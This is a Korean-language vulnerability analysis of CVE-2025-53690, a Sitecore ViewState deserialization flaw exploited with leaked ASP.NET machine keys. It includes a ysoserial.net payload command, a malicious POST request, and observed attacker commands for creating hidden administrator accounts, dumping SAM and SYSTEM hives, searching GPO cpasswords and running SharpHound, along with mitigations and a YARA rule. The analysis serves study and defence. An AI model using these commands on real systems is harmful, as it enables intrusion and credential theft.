
이것은 CVE-2025-53690 분석 문서입니다.
CVE-2025-53690은 Sitecore 제품군에서 발견된 ViewState 역직렬화 취약점으로, 노출된 ASP.NET machine key를 악용하여 원격 코드 실행이 가능한 치명적인 보안 취약점입니다.
이 취약점의 핵심은 잘못된 구성 관리에 있습니다:
ViewState는 ASP.NET의 상태 관리 기능으로:
__VIEWSTATE 숨겨진 필드에 저장<!-- web.config 예시 -->
<system.web>
<machineKey
validationKey="[64바이트 키]"
decryptionKey="[48바이트 키]"
validation="HMACSHA256"
decryption="AES" />
</system.web>
Target: /sitecore/blocked.aspx
Method: POST
특징: 인증 없이 접근 가능, ViewState 사용
공격자는 알려진 machine key와 ysoserial.net을 사용하여 악성 페이로드 생성:
# ysoserial.net 사용 예시
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[키]" --validationalg="HMACSHA256" --decryptionkey="[키]" --decryptionalg="AES"
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=[악성_페이로드]&__VIEWSTATEGENERATOR=[값]
/sitecore/blocked.aspx# 실행된 명령들
whoami
hostname
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"
배포된 도구들:
7za.exe: 파일 압축 도구lfe.ico: EARTHWORM 네트워크 터널링 도구1.vbs: 명령 실행용 VBScript# 로컬 관리자 계정 생성
net user asp$ [패스워드] /add
net localgroup administrators asp$ /add
net user sawadmin [패스워드] /add
net localgroup administrators sawadmin /add
자격증명 수집:
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive
net user [AdminUser] /passwordchg:no /expires:never
wmic useraccount where name='[AdminUser]' set PasswordExpires=False
# Domain Controller 식별
nltest /DCLIST:[domain]
nslookup [domain-controller]
# GPO에서 cpassword 검색 (Group Policy Preferences 공격)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml
# BloodHound/SharpHound 실행
sh.exe -c all
// 수집하는 정보
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
Directories = new Information.Directories
{
CurrentWebDirectory = HostingEnvironment.MapPath("~/")
},
OperatingSystemInformation = Information.GetOperatingSystemInformation(),
DiskInformation = Information.GetDiskInformation(),
NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
Process = Information.GetProcessInformation()
};
출력 방식: ViewState로 위장하여 데이터 은닉
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTcyODc4{AES 암호화 + base64 인코딩된 출력}" />
<!-- 고유한 machine key 생성 -->
<machineKey
validationKey="[새로운_64바이트_키]"
decryptionKey="[새로운_48바이트_키]"
validation="HMACSHA256"
decryption="AES" />
# YARA 규칙 예시 (WEEPSTEEL 탐지)
rule WEEPSTEEL_Detection {
strings:
$viewstate = "__VIEWSTATE"
$crypto = "System.Security.Cryptography"
$serializer = "JavaScriptSerializer"
condition:
all of them
}
CVE-2025-53690은 단순한 구성 실수가 어떻게 치명적인 보안 위협으로 이어질 수 있는지를 보여주는 대표적인 사례입니다. 이 취약점을 통해 학습자들은 실제 APT 공격의 전체 라이프사이클을 경험하고, 현대적인 공격 기법과 방어 전략을 이해할 수 있습니다.